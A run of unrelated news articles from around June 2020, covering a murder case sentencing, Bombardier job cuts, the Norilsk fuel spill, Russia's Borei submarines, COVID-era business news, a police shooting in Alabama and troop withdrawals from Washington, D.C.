The judge said that the mother, a retired respiratory therapist, played a minor role and did what her husband told her to do.

They will serve sentences one at a time because they have to care for another son.

The judge said the parents have not be in trouble before. They know loss, too, having lost a 17-year-old daughter in a car crash as well as a 3-day-old baby.

Kristine Young said that James Chance, as a former police officer, should have known what was going on and called police. They had to know that their son loaded their car with bloody body parts.

Jared did not fall very far from the tree, she said.

The victims father, Ambrose Gonoude, asked the court to make an example of the parents.

James Chance, in an emotional, halting voice, said: I grieve  I grieve deeply and will continue for the rest of my life, very deeply for Ashley and her parents  .

Barbara Chance said: If I could change it, I would do anything to undo whats been done. Im very sorry.

Read more:

Father of man who killed, mutilated woman avoids retrial on perjury charge

Man who killed, mutilated woman to blame, not his father, defense says

Jared Chance sentenced to 100 years for killing, dismembering Ashley Young
REUTERS/David Becker

Bombardier Inc. will cut 2,500 jobs from its aviation division, the company announced on Friday, as demand for business jets plummets due to the coronavirus pandemic.

The Montreal-based company said in a news release that it will adjust its workforce to align with current market conditions, which have been massively disrupted by the COVID-19 pandemic.

With business jet deliveries, industry-wide, forecasted to be down approximately 30 per cent year-over-year due to the pandemic, Bombardier must adjust its operations and workforce to ensure that it emerges from the current crisis on solid footing, the company said.

Bombardier said the approximately 2,500 layoffs will impact workers at its manufacturing facilities, including 1,500 employees in Quebec and 400 in Ontario. Another 500 cuts will be in Mexico, 40 in the U.S. and 40 at other worldwide facilities. The job cuts will occur throughout 2020.

The companys stock was down 1 per cent as of 11:45 pm ET, trading at 48 cents per share on the Toronto Stock Exchange.

The layoffs come two months after Eric Martel stepped into the role of chief executive of the company. Martel replaced Alain Bellemare, who first joined Bombardier in 2015 and deployed a turnaround plan that has resulted in a drastically smaller company focused on its private jet business.

Bombardier finalized the sale of its its commercial aviation division earlier this year, and has agreed to sell its rail business to Frances Alstom. The deal is expected to close next year, provided regulatory authorities in Europe approve it.

RBC Capital Markets analyst Walter Spracklin said in a note to clients on Friday that Bombardiers decision marks the first indication from the company quantifying the magnitude of declines. Spracklin expected a 31 per cent demand decline in the business jet market.

Overall, while the decision to reduce headcount likely indicates a more challenging operational environment in (business aviation), we do not view the news as overly surprising, Spracklin wrote.

Bombardier said it expects to record a $40 million charge as a result of the job cuts. More information will be provided when the company reports its second quarter financial results on Aug. 6.

Download the Yahoo Finance app, available for Apple and Android and sign up for the Yahoo Finance Canada Weekly Brief.
Prosecutors give preliminary reason of fuel spillage in Russias North

 flickr.com/ Nina

18:05 05/06/2020

MOSCOW, June 5 (RAPSI)  A preliminary reason of the petroleum reservoir unsealing at a heat and power plant in Russias northern town Norilsk is subsidence of ground and concrete under it, the press service of the Prosecutor Generals Office reports.

Prosecutors continue checks over the industrial disaster in Norilsk, the statement reads.

According to case papers, on May 29, over 20 tons of petrochemicals spreaded over the thermal power station and flew into the subsoil and waters near the Nadezhinsky iron and steel plant that resulted in the environment pollution and harm.

Three cases opened after the thermal power plant disaster were consolidated into a single case and forwarded to the Investigative Committees Main Investigations Directorate for the investigation. Investigators are checking the incident for the ground spoiling, environmental offence and water pollution.

On June 4, the Krasnoyarsk Krai Court placed a chief of the boiler-and-turbine floor of the heat and power plant in detention until July 31. Vyacheslav Starostin refused to give testimony.
Clinical research and Indigenous knowledge models will help team gather first evidence of effects of cannabis on Indigenous peoples of Canada

A multidisciplinary team from the University of Toronto, with experts from the Faculty of Dentistry and the Waakebiness-Bryce Institute for Indigenous Health at the Dalla Lana School of Public Health have been awarded a five year, $1.5 million grant from the Canadian Institutes of Health Research to study the impact of cannabis use on the oral health of Indigenous populations.

The researchers will work in partnership with Indigenous communities and public health authorities, including Norway House Cree Nation (Kinosao Sipi Cree Nation) in northern Manitoba; the Weeneebayko Area Health Authority (WAHA), with the First Nations of Moose Factory, Fort Albany, Attawapiskat, Weenusk (Peawanuck), and Kashechewan, and the town of Moosonee in northern Ontario; and Alberta Health Services (AHS) in Calgary, Alberta.

Over the course of the study, participants will be monitored for changes in their oral health and oral microbiome, including inflammation of the oral mucosa and periodontal tissues and the development of pre-cancerous lesions and cancers of the mouth, head and neck, and changes in oral and facial sensory function.

DISPROPORTIONATE BURDEN OF DISEASE

The CIHR study aims to provide first evidence of the oral health risks associated with cannabis use in Canada's Indigenous populations, which already experience a disproportionate burden of oral disease. Legalized just two years ago, studies have shown that there are oral health risks associated with cannabis in users, including an increase in periodontal diseases. Indigenous leaders and public health experts have expressed concerns regarding the escalated risks in these vulnerable communities.

"Indigenous people are resilient. Cannabis is one issue that has been discussed in many First Nations communities and how it affects the community," says Angela Mashford-Pringle, assistant professor and associate director of the Waakebiness-Bryce Institute for Indigenous Health (WBIIH) at the University of Toronto's Dalla Lana School of Public Health and co-principal investigator of the grant. "There is a need to understand the dental and health effects of cannabis for First Nations communities."

"Knowing how big an impact the use of cannabis has on oral health indicators among the Indigenous population will be critical towards the development of new policies and guidelines in prevention and treatment of oral diseases," says Siew-Ging Gong, associate professor at the University of Toronto's Faculty of Dentistry and a co-principal investigator of the grant.

INDIGENOUS LEARNING CIRCLE MODEL

The study also hopes to raise awareness in these communities of the impact of cannabis on oral health, and to do so in culturally appropriate, Indigenous-focused ways. The team will use what's known as the Learning Circle model, in which Elders and other community members share their knowledge.

"The Learning Circle utilizes the First Nations Principles of OCAP, which stands for First Nations' Ownership, Control, Access and Possession of data and data collection processes in their communities," says Herenia Lawrence, associate professor at the Faculty of Dentistry and principal investigator of the grant.

With an emphasis on oral transmission of knowledge rooted within Indigenous communities and their values, the researchers hope to create respectful health research relationships that can have long-lasting impact on Indigenous communities' health.

Adds Lawrence, "The Circles will allow us to evaluate the research outcomes through the lens of the community."

UNIVERSITY OF TORONTO INVESTIGATORS

Herenia Lawrence, associate professor, Faculty of Dentistry (project lead)

Iacopo Cioffi, assistant professor, Faculty of Dentistry

Siew-Ging Gong, associate professor, Faculty of Dentistry

Jose Lanca, assistant professor, Faculty of Dentistry

Celine Levesque, associate professor and Canada Research Chair in Oral Microbial Genetics, Faculty of Dentistry

Marco Magalhaes, assistant professor, Faculty of Dentistry

Angela Mashford-Pringle, associate professor, associate director of the Waakebiness-Bryce Institute for Indigenous Health (WBIIH), Dalla Lana School of Public Health

###
The Retired Investor: Will Jobs Come Back Postpandemic?

As this week's job report looms ever closer, investors have become inured over data showing job losses in the multimillions. The present thinking among economists, strategists and politicians is that all these jobs will come back. The question is when.

Readers need to realize that prior to the onset of the pandemic, the unemployment rate at 3.5 percent was a historically low level. The spread of COVID-19 forced the country's economy to shut down. The first Americans to lose their jobs were those low-paid workers in the service industries, those that could not work from home. Fortunately, the government's response was to provide fiscal stimulus (in the form of extended and increased unemployment insurance), plus direct payments to those below a certain income level. That effort boosted household income and somewhat cushioned the pain of historical job losses.

Many of those jobs in restaurants, retail stores, and the like are expected to come back as the economy re-opens and there is evidence that they already are. However, layoffs in other areas, such as white-collar jobs and among women, are continuing to escalate. In fact, white-collar jobs continue to shrink and have done so every week since the pandemic started.

One reason that Congress is working on yet another stimulus program is that once the impact of the last stimulus wears off, they worry that the layoffs could continue to spread. Consumer spending and a rebound in economic growth may take more time than most expect. From the outset, economists believed that many of the service jobs would come back. Those lay-offs were considered to be temporary, a "quasi-furlough," as opposed to an outright firing. However, the losses of the higher-paid, white-collar jobs that are continuing will be more difficult to gain back and could be permanent.

There is also another alarming unemployment trend facing the nation this summer. The problem centers around working women with children. Readers may recall that for the first time in many years, women made up the majority of the workforce in 2019. As such, it should come as no surprise that during March and April of this year, women suffered the most (55 percent) job losses in this country. In those sectors that are heavily represented by women, the losses were even greater.

Recall my column of last month in which I outlined the one-sided difficulties working women were facing in juggling work commitments, child care, home schooling, cooking, cleaning and a variety of other chores during this pandemic. None of those issues have gone away. In fact, they have multiplied. Online schooling, where it existed, has helped but it will end soon. As the summer begins, working women have no child-care support to rely on while they go back to work.

As it is, they are losing more jobs than men, and have, in general, less paid sick leave than their male counterparts. As school winds down, women are now being forced to make some hard choices. Do they quit their job (or possibly get laid off) because there is no one to take care of the kids this summer? At the very least, they will be forced to scale back their professional ambitions, while continuing to balance an even more untenable situation between work and children.

Well, you might ask, why don't their spouses, or male counterparts, stay home instead? The answer is an economic one. Women still make about 20 percent less than men, so an already cash-strapped family will need to opt for the man's higher salary. So what is to be done?

Although a long shot, government might finally recognize the needs of the working women, something I have been writing about for ages. The pandemic would be the perfect excuse to establish policies that would equalize the pay scale, provide additional child-care support, and institute flexible working arrangements, among other initiatives for women. Unfortunately, I expect that our government will likely cast a blind eye to these needs. So, it is up to us. What, therefore, can you do to help?

In our case, my wife and I (along with the other grandparents), are scheduling weekly internet dates with the grandkids throughout the summer. We will set times and schedules, just like in summer camp. For starters, I will play (and probably lose) a weekly chess tournament with my 8-year-old grandson, chess champion Miles.

In addition, my wife will begin a photography course for both Miles, and 5-year-old, Madeline. That summer project, in addition to teaching them the rudiments of photography, will hopefully result in a photo book of this pandemic from their own perspective. Now, it is your turn.
Kate Middleton has been with the royal family for almost a decade now following her marriage with Prince William in 2011 at Westminster Abbey in London.

Throughout the years, the Duchess of Cambridge has "matured enchantingly" and grew from being the shadow of her husband to one of the faces of the monarchy with her charitable engagements and patronages.

The future Queen consort is being viewed as a royal with a "strong sense of duty" and commitment to her role in the British monarchy.

"She has a strong sense of duty and is deeply committed to the charitable causes she espouses, especially those involving children and mental health charities," royal commentator Richard Fitzwilliams told Express.co.uk.

From her accomplishments in The Firm, there is no doubt that Kate's mom, Carole, had shaped her to be the woman that she is today.

Although the Middletons had no ties to aristocracy, Carole is seen as a "very strong woman" and the "stabilizing and supportive force" for Prince William and Duchess Kate -- most especially after Prince Harry and Meghan Markle exited the royal family to live independently outside the monarchy.

"Now that Harry and Meghan have in effect left the Royal Family, there is a lot more pressure on William and Kate. Carole is very much a power behind the throne and her influence is immense," a source revealed to The Sun.

Carole Middleton "Diana-Type" Mom To Prince William?

In addition, sources also mentioned how the Duke of Cambridge sees his mother-in-law as a maternal figure and was a "Diana-type" mom to the future king.

"William's-in-laws have become like second parents and Carole is almost a Diana-type mum," the source said, per Express.

Prince William was only 15-year-old while Prince Harry was 12 when Princess Diana died in a tragic accident in Paris in 1997.

Moreover, the source also pointed out that the royal couple has made "quite a few visits to see the Middletons in Berkshire" while "Carole has spent a lot of time at Anmer Hall with the couple".

Battle Royal Between Prince Charles And The Middletons

With Carole's closess to Prince William and the Cambridges though, Prince Charles felt that he was "rather left out" and was "upset" for spending a very "little time" with his three grandchildren -- Prince George, Princess Charlotte and Prince Louis.

In more royal family news, experts also claimed there is an alleged "battle royal" between Prince Charles and the Middletons.

"Charles feels very much that the Middletons get more than their fair share of time with George and Charlotte. In comparison, he sees them very little and he bears a bit of a grudge about that," royal expert Katie Nicholl shared with Express.

For what it's worth, a source revealed to Vanity Fair in 2018 that the Middleton matriarch was a little upset with the speculations that she "elbowed Prince Charles" when it comes to spending time with their grandchildren.

The source also added that Carole had no intentions to hurt anyone, especially the future king.
Source: Xinhua| 2020-06-05 22:10:57|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- China is firmly opposed to the United States adding 33 Chinese entities to its "entity list" of export controls, a Ministry of Commerce spokesperson said Friday.

In response to media inquires, the spokesperson voiced objections to the U.S. action of once again adding Chinese enterprises, universities, research institutions and individuals to the "entity list" on the grounds of so-called "military ties" and "human rights."

By repeatedly abusing export controls and other measures under the pretext of national security and using state power to suppress companies in other countries, the United States has severely disrupted the international economic and trade order, the spokesperson said, adding that it also posed severe threats to the security of the global industrial and supply chains.

"Such action is not conducive to China, the United States or the international community," said the spokesperson. "We urge the United States to immediately stop its wrongful action, and we will take all necessary measures to safeguard Chinese companies' legitimate rights and interests." Enditem
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Today

Partly to mostly sunny, brisk, and very cold. Below zero wind chills in the morning. .

Tonight

Partly cloudy and very cold. Near or below zero wind chills again late at night towards sunrise.
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Demand for thinner masks has been growing as temperatures increase. Gettyimagesbank



An online shopping channel selling thinner face masks crashed Friday as South Koreans rushed to buy the antivirus masks amid warmer weather.



Mask manufacturer Welkeeps began sales of the "saliva droplet prevention" masks at 9 a.m., but its online server shortly was shut down as shoppers rushed to get the masks priced at 500 won (US$0.40).



While the thinner masks are known to prevent less pollutants than thicker and more durable government-supplied masks, demand for them has been growing as warmer weather makes it uncomfortable for people to wear them.



Demand had especially spiked recently as students across the country began returning to school in May. Parents went on to buy the thinner masks for easier breathing, which drove up their prices and exhausted supply.



Data by supermarket operator E-mart showed that sales of surgical masks that are similar to the saliva droplet prevention masks, nearly tripled in the May 22-28 period compared with the previous month.






A land-ownership bungle will delay police officers moving into Victoria's newest $15 million station after it was discovered the state government was yet to properly purchase the land accommodating the sprawling building.

Officers from the ageing Altona North station, in Melbourne's west, were due to move into the new 24-hour multimillion-dollar facility on Galvin Street in early June.

The new two-level Altona Police Station under construction at 1 Galvin Street, Altona on Friday. Credit:The Age

Police sources said staff were told a move-in date had been put on ice after Victoria Police discovered "legal issues" that needed to be fixed. Further investigation, they said, had found the state didnt formally own the land underneath the new, two-storey station.

Recently, officers were told the issues were being sorted but a move-in date was yet to be finalised.
NASCAR Hall of Famer Tony Stewart welcomed 48 of the best Super Late Model racers to his Eldora Speedway Thursday night for the opening of the 3-night "STREAM" weekend with over $200,000 on the line, in front of a fansless grandstands.

Normally packing in 30,000 plus fans, the COVID-19 crisis altered the annual $100,000 to-Win June "DREAM" into a streaming live only event on the FloRacing internet website.

With $10,000 up for grabs and a good starting spot possible for Saturday's $50,000 race, North Carolina's Kyle Strickler (# 8), an Open Wheel Modified star and part-time NASCAR Truck Series competitor, shock n awed everyone holding off Georgia's Shane Clanton Thursday night.

Brandon Sheppard of Illinois and Ricky Thornton Jr of Arizona rekindled their World of Outlaw Late Model series rivalry battling over third, while Bobby Pierce of Illinois, rounded out the Top 5 finishers.

Chickamauga's Dale McDowell was 13th, Blairsville's Jonathan Davenport was 18th overall while Jimmy Owens (Tennessee) and Brandon Overton (Georgia) finished last and almost last respectfully of the 24 starters.

Friday, another $10,000 is on the line before Saturday's finale. Stewart whom fields multiple types of race cars of dirt is not racing this weekend at his track. He is scheduled to compete in Tennessee in a few weeks for a pair of Sprint Car races at Volunteer Speedway near Bristol.
Formal charges have been filed against two in the shooting death of Moody police Sgt. Stephen Williams.

St. Clair County District Attorney Lyle Harmon on Friday announced the arrests of Tapero Corlene Johnson, 27, and Marquisha Annissa Tyson, 28, both of the Birmingham area, in the Tuesday night shooting. They are charged with capital murder and held without bond in the St. Clair County Jail. Court records do not reflect any prior criminal arrests in Alabama.

"We all have a duty and an obligation to be the best that we can be,'' said Sheriff Billy Murray. One of the best we had was taken from us very viciously.

Williams, a 50-year-old father of three, had been a police officer for 23 years, the last three of those at the Moody Police Department. He began his law enforcement career at the Bessemer Police Department and then served the Alabaster Police Department.

Chief Thomas Hunt Hunt said Friday Williams will be promoted to lieutenant. He had just been promoted to sergeant in the past year and was a recipient of the Officer of the Year award in memory of Keith Turner, who was shot to death June 27, 1998 and was the last Moody officer killed in the line of duty.

Hunt said on the day that Williams applied for a job with Moody several years ago, multiple officers urged him to hire Williams, describing him as top-notch and a great role model and leader. Man, were they right,'' Hunt said. I couldnt ask for a better supervisor, or an officer than Stephen Williams.

"Our officers are hurting. Our police department is hurting,'' he said. Weve lost a brother. Weve lost a dear friend.

The shooting happened shortly before 9:30 p.m. Tuesday at the motel on Moody Parkway. A medical helicopter was sent for Williams, but the officer was instead taken by ambulance to UAB Hospital. Authorities have not provided a detailed account on what prompted the 911 call or the barrage of gunfire that ensued with Williams, the night-shift supervisor, and other officers arrived.

Marquisha Tyson, 28, is one of two suspects charged in the slaying of Moody Police Sgt. Stephen Williams when he responded to a call at the Super 8 motel on Moody Parkway.

Amar Fouda just moved into the Super 8 on U.S. 411. He said it was about 9:25 when he heard a lot of noise in Room 214, which is directly next to his room.

I heard like an AK-47, he said. Fouda said he ran into the bathroom and hid in the tub.

When he saw blue lights come on the scene, he looked outside. I saw one of the officers, he was down, Fouda said.

He said he didnt know why police were at the motel but said his neighbors had been making a lot of noise.

Funeral arrangements have been announced. Williams visitation will be Sunday, June 7, from 5 p.m. until 9 p.m. at Ridouts Southern Heritage Funeral Home at 1011 Cahaba Valley Road in Pelham. His funeral will be held on Monday at 11 a.m. at First Baptist Church in Moody on Church Street.

More than 1,000 Moody residents have signed a petition urging the city council to revoke the business license of the motel where Williams was shot, arguing the shooting has escalated the need to close this business for good.

Amy Stewart, a Moody resident who started the petition, said the shooting of Williams was the latest incident that showed the motel does not deserve a business license.

The recent slaying of Sergeant Stephen Williams on Tuesday June 2, 2020 has escalated the need to close this business for good, Stewarts petition reads. We ask that the city council and Mayor Joe Lee revoke their business license immediately for the safety of our community.

Williams is the second Alabama police officer shot to death in the line of duty in 2020.

Kimberly police officer Nick ORear was fatally shot on Feb. 4 during a pursuit on Interstate 65 South.
Portlaoise traders say they are ready to start the phased reopening of businesses after nearly three months of enforced closure due to the Covid-19 pandemic.

Phase II of the relaxing of Government restrictions will see the small shops such as clothes shops, jewellers, gift shops and photography shops, next Monday June 8 all over the county and Ireland.

An announcement is expected from the Government this Friday afternoon.

Mark Healy is Chairman of Downtown Portlaoise, and owner of The Pantry restaurant.

We will all be taking as many precautions as we can to make sure customers feel comfortable and safer. It is very important that people do support local businesses, he said.

He said that it has been reported that 80% of money being spent by consumers is going out of the country for online purchases.

It is very important, particularly for local jobs, that we spend as much as we can locally. Every euro is a vote for what kind of community we want to live in, one with local artisan shops and bars.

The upside is you know the people you are buying from, it is lovely to be welcomed by name when you walk in the door, I don't think any multinational can ever compare with that, he said.

The Downtown Portlaoise retail group had their first meeting since the start of the pandemic with Laois County Council and other agencies last week. They discussed ways to help businesses recover and offer a safe environment for their customers and staff. The outdoor meeting was held at the front of county hall.

Mr Healy was optimistic following the meeting.

There is uncertainty but it is as positive as it can be. The council is very eager and willing to help and are open to ideas from traders. It is more important to get a good plan now than a quick plan, he said.

He believes that there may be a silver lining to the new norm of working remotely from home.

One of the biggest impacts is that more people are working from home. Usually over 11,000 people leave Laois for work daily. Even if half of them stay, that's a lot more potential for business around the town.

It's not going to be easy, but we have always pulled together, with Laois Chamber, Tidy Towns, Laois Taste, Laois Tourism, and now we have an added focus, he said.

Downtown Portlaoise has an ongoing survey for businesses to give their input and concerns.

The survey covers topics such as health and safety, PPE, parking, promotion and business outlook.

We are using the survey's feedback as a continued guide as we move through the phases, we can filter it to see responses from each group such as restaurants, and we welcome the input from as many businesses as possible, even in the rest of Laois. We can pass them on to the council, the chairman said.

Email portlaoiseretail@gmail.com or email Mark Healy directly at mark@thepantry.ie.

Restaurants and cafes are due to reopen on June 29 .
Russia was supposed to have the four Borei class SSBN (ballistic missile nuclear subs) in service by 2019 but that was delayed because sea trials of the fourth sub kept revealing new problems that had to be fixed. That led to another round of sea trials to make sure the modifications worked and did not cause additional problems. These latest sea trials took place successfully in mid-May. That SSBN finally entered service shortly thereafter. This was the second new submarine design where the first one built ran into so many problems that the second ship was quite different and still suffered delays as a seemingly endless series of new problems appeared. The first case of this disease was the Graney class SSGN (nuclear-powered cruise missile sub), where the second boat of the class was the one that had major changes in appearance and capabilities and lots of unanticipated problems.

Delays getting the new Borei SSBNs into service were made worse because problems with the new SLBMs (Sea Launched Ballistic Missile) these boats carry continued after the first Borei was ready for service. There were so many missile delays that the older Delta class SSBNs had to stay in service longer than they were designed for. That meant these Deltas were unable to go to sea as often. As a result, Russia has had few SSBNs at sea during the last decade. The three Boreis now in service and at sea just about compensates for the growing inability of the Deltas to stay at sea.

Only four of the post-Cold War Borei class SSBNs are in service with four more under construction. The fourth Borei, the Knyaz Vladimir (Prince Vladimir) completed its sea trials in early November 2019 and was supposed to enter service in January 2020. Once more the final sea trials revealed more problems that took months to deal with before another final round of trials took place in May.

All these problems were not unexpected because Knyaz Vladimir was actually the first of an improved Borei, or Borei A design and construction took longer, and cost more than planned. One feature, adding four more SLBM launch tubes, was deleted. Borei A includes improved electronics and changes to the hull and propulsion system to make the boat quieter and more maneuverable. There are now additional sonar arrays on the sides of the boat in addition to the usual one in the bow (front). There were significant changes to the propulsion system to improve maneuverability at low speeds. The hull now has a sleeker form without the noticeable bump behind the sail (small superstructure on top of subs). One morale-enhancing new feature is a small (four seater) sauna. There are also larger and more comfortable crew quarters. These changes made the Borei-A look more like Western SSBN as well as perform like one.

These changes made the Borei A so expensive that the navy can only afford to build eight Boreis instead of ten originally planned. The four Boreis currently under construction are all Borei A boats which incorporate all the changes made to Knyaz Vladimir during over a year of sea trials and subsequent modifications.

There were many delays just getting the first Borei built at all. This boat, the Yuri Dolgoruky, was launched in 2008 and then encountered further delays before even undergoing the first round of sea trials in 2012. The Yuri Dolgoruky was supposed to have been launched by 2006, but there were technical problems that caused more delays. Construction of the Yuri Dolgoruky began in 1996, but money shortages and technical issues slowed progress. The cash shortage was initially thought to be temporary but was eventually declared permanent with a chance of getting worse. This was all about the permanent decline in oil prices after 2013 and the impact of economic sanctions imposed because of the 2014 invasion of Ukraine. Another factor, less frequently discussed, is the continued corruption that is crippling economic growth and that includes shipbuilding.

The Boreis were needed to replace the aging, entered service in the late 1980s, Delta IV class SSBN. There was only enough money to refurbish one of the Cold War era Delta IV SSBNs. Keeping several of these boats active was an emergency contingency plan if the initial problems with the Borei and its Bulava SLBM were not solved in time.

There were 43 Deltas put into service between 1972 and 1990. There were actually four distinct models (Delta I, II, III and IV) that varied in size and capabilities from 7,800 to 13,500 tons. The Deltas were supposed to be replaced by the enormous (24,000 ton) Typhoon/Akula class SSBNs. These provide too expensive to build and operate. Six of them entered service between 1981 and 1989 and to save money all were retired or scrapped by 2009. One Akula is still around to test new SLBM designs. Thats because the missile tubes on the Akula are so large they can easily be modified to handle any new SLBM design. The problems with the Akulas were a foretaste of worse problems with the Borei and Graney class subs and similar sized new surface ships. Part of the problem is growing corruption, which played a role in destroying the Soviet Union, as well as a shortage of qualified managers, engineers and construction workers to build design and build these new ships. Because of all that Russia has had to cope and adjust its plans. In the 1990s it was decided that subs were more important than surface vessels and that meant, once all the budget and construction management problems manifested themselves after the 1990s, the subs always had priority. This led to the cancellation of several large surface ship construction plans and many modifications for submarine construction and use. More subs were retired as they became too old and expensive to operate. That killed the Akulas and many of the older Deltas. Money was always found to keep construction of new subs, especially SSBNs, going. There was also more patience for dealing with the seemingly endless flaws found in the new subs and their weapons. Priorities took Priority.

The first three new Borei Class boats were supposed to be based in the Pacific but was changed with only two in the Pacific. One reason for that was the lack of money to refurbish and reactivate the Chizha Test Range near Arkhangel. This facility was used to monitor ballistic missile or SLBMs test-fired from east to west. The test range on the Pacific coast has been upgraded so that ballistic missiles and SLBM testing could continue and be accurately monitored to measure success, and accuracy, of test warheads. To continue testing the Bulava one of the Boreis had to be assigned to the Northern Fleet.

During the Cold War, most of Russias SSBNs were based in the north, at several bases east of the Norwegian border and facing the Arctic Ocean. But now Russia is spending over $350 million to expand and improve its submarine base on the Kamchatka Peninsula on its Pacific coast. This will enable its new SSBNs to threaten China, as well as the United States.

The Boreis are the first new Russian boomers (naval slang for SSBNs) to enter service since 1990 when the last Delta IV entered service. Borei is the first new Russian sub design since the end of the Cold War. The other two Boreis (Alexander Nevsky and Vladimir Monomakh) benefited from all those delays with the first Borei and were built much more quickly.

Starting with the fourth Borei there have been some major changes made and this version is called Borei A. These slightly larger Boreis were supposed to carry 20 SLBMs and have some new equipment and features as well as being a bit longer than the original Borei. Most of the new features survived, except for the expansion of SLBM capacity from 16 to 20.

The Boreis are closer in design to the Delta IVs than to the Typhoon/Akula boats that were originally meant to replace the Deltas. The Boreis are 170 meters (558 feet) long and 13 meters (42 feet) in diameter. Surface displacement is 15,000 tons, and 16 Bulava SLBMs are carried. Work on the Yuri Dolgoruky was delayed for several years because the first missile being designed for it did not work out. A successful land-based missile, the Topol-M, was quickly modified for submarine use. That should have worked but it didnt and failed in many frustrating ways. This "Bulava" (also known as R-30 3M30 and SS-NX-30) SLBM was a larger missile, cutting the Boreis original capacity from 20 to 16 missiles. The boat also has four torpedo tubes and twelve torpedoes or torpedo tube-launched missiles. There are also tubes for launching smaller countermeasure devices that look like torpedoes. The Bulava has a max range of 10,000 kilometers with six warheads and 8,000 kilometers with ten warheads.

The Boreis have a crew of 107, with half of them being officers. This is a common Russian practice when it comes to high tech ships like nuclear subs. Each of these Borei A boats cost at least two billion dollars, in part because money was spent on improved crew quarters. That was necessary to attract enough skilled, and volunteer, sailors to run these boats. The high cost of Boreis, by Russian standards, is partly because many factories that supplied parts for Russian subs were in parts of the Soviet Union that are not now within the borders of present day Russia. So new factories had to be built. All components of the Boreis and their missiles are to be built in Russia. The eight Boreis now being built probably won't be completed until 2030.

Despite initial failures, the government insisted that the Bulava SLBM be made to work, no matter what. Many Russian officials believed that the root of all these problems was the flight of so many skilled engineers and scientists from defense industries after the Soviet Union collapsed and defense orders promptly dropped over 90 percent. The smart people quickly found lucrative jobs in other industries, and there has been little new blood since the 1990s. The same thing happened on the manufacturing end. During the Soviet period, defense industries had the cash and fringe benefits to attract the most skilled manufacturing staff. No more. And the problems with Bulava SLBMs and all manner of new submarine and surface ships is yet another result of this brain drain.

In 2013 and 2015 Russia tested more Bulava SLBMs and most of the Bulavas failed, mainly due to manufacturing defects. The 2013 tests were supposed to be the final test for Bulava, as well as for the second and third of the new Borei class SSBNs. The Defense Ministry ordered more Bulava tests and delayed commissioning of the two new Boreis. By 2018 the Bulava was declared good enough for service and the Boreis could enter service after a decade of failures in developing a new SLBM for a new class of SSBNs.

Problems with the Bulava caused Russia to delay the construction of its fourth Borei class SSBN back in 2009. Thats because at that point frequent test failures had led to the cancellation of the Bulava being considered. That would have meant the Borei design would have to be modified to accommodate a different SLBM with a different shape and weight.

Without the Bulava, the only alternative was to redesign the Boreis to use the existing R-29 Sineva SLBM. Sineva is the last liquid fuel Russian SLBM in service and is used in the older Delta class SSBNs. This would cost billions of dollars, and delay the Boreis entering service by several years. To many, switching to the older, but more reliable, Sineva missiles seemed like a reasonable move. Liquid fuel missiles are more complex than solid-fuel missiles, even though they use fuel that can be stored for long periods inside the missile. Unable, for a long time, to develop the technology for solid-fuel rockets, Russia made the most of this and developed some very effective "storable liquid fuel" rockets. It was only near the end of the Cold War that Russia finally mastered the solid-fuel rocket construction techniques. But only one solid fuel SLBM entered service, the huge 90 ton R-39 for the massive Typhoon SSBNs.

Borei boats have missile tubes designed to hold the Bulava (which is 12.1 meters long and two meters in diameter). The Sineva is 14.8 meters long and 1.8 meters in diameter. The additional length of the Sineva would require substantial revisions in the existing Borei design and the two still under construction in 2018. The only existing solid fuel SLBM that works, and is carried in the larger Typhoon, is the R-39, and it is huge (16 meters long and 2.4 meters in diameter). Much too large even for a rebuilt Borei.

These delays in getting Bulava to work reliably resulted in a lot of embarrassing changes. Thats because, in early 2012, Russia announced that its SSBNs would resume long-range "combat patrols" within a year. On schedule, the Russian Navy finally accepted its first new Borei class SSBN (Yury Dolgoruky) for service on December 30th, 2012. Thus, it appeared that the newly commissioned Yury Dolgoruky would be the first Russian SSBN in many years to make a long-range cruise, as soon as it had a working SLBM to arm it. Mass production of Bulava began in 2013, with the goal of producing at least 124 of them. Yury Dolgoruky finally made its first combat patrol in 2015, although it was understood that only about half of the 16 Bulava SLBMs carried would work if launched. Since then the Bulava SLBM is still considered combat ready but only if you accept that about half of them will not work.

The Russian Navy has made a mess of its SSBN force and has done slightly better developing new SLBMs. This is all about what kind of SSBN force Russia will have in the future and what those SSBNs will be capable of. At the moment the answers seem to be diminished and not much.

In 2018 it was believed that six of the original seven Delta IVs were still in service and that is only because each has been or was about to be put through a two-year shipyard upgrade of its electronics and some mechanical components. The shrinking naval budget changed that and by the end of 2018 four Delta IVs had been quietly retired while another had been converted to special operations support sub. Only one Delta IV went through the full refurb and was good for another decade of limited service.

The refurb included the SLBM tubes and launch equipment so the Delta IV can handle the latest (MU2) version of the R-29 missile. Most of the improvements in the R-29MU2 include the third stage, which can now carry 12 warheads, each able to hit a different target. Alternatively, the R-29MU2 can carry eight warheads and numerous decoys and penetration devices to assist in deceiving anti-missile systems. The upgrade extends the life of the Delta IV 3-4 years which means that by 2025 only one Delta IV will still be in (limited) service and, depending on how much money is available, more than four Borei's.
Defense Secretary Mark Esper on Friday ordered home the remainder of the 1,600 active-duty troops brought to the national capital region to respond to protests, Army Secretary Ryan McCarthy told reporters at the Pentagon.

The news comes after Esper on Thursday sent home a portion of those troops, several hundred soldiers from the Armys 82nd airborne division.

The decision was made to draw down forces after days of peaceful protests and because the District of Columbia now has a sufficient number of National Guardsmen to aid local law enforcement in keeping violence in check, McCarthy said. Another 3,900 National Guard members from other states are now arriving in D.C., in addition to the 1,200 D.C. National Guardsmen already supporting local forces.

McCarthy also said he ordered D.C. Guardsmen to not carry weapons on Monday when it became clear there were enough federal law enforcement defending the city.

FILE - In this April 1, 2020, file photo, Defense Secretary Mark Esper speaks about the coronavirus in the James Brady Press Briefing Room of the White House in Washington. (AP Photo/Alex Brandon, File)

McCarthy detailed the chain of events that took place this week, noting that the decision on Monday to put active-duty troops on alert in the D.C. area was made after an incredibly challenging night for local law enforcement. Protesters defaced the Lincoln Memorial and hit five soldiers in the head with a brick, he said.

Inside of Lafayette Square we definitely lost control, to the point where they were right up on the north fence, he said. It was a very challenging evening, and we knew we had to put more security in there so we could help enable peaceful demonstrations.

McCarthy, who as Army secretary commands the D.C. National Guard, has been in constant communication with D.C. Mayor Muriel Bowser through her chief of police, exchanging messages five to six times a day, he said.

By Wednesday, additional Guardsmen from other states had arrived to support D.C. Guardsmen and local law enforcement. At that point, the Pentagon decided that there was enough additional support to send the active-duty troops home, McCarthy explained.

Story continues

The determination was lets get them back because it created a tremendous amount of tension by having the 82nd outside the city, he said.

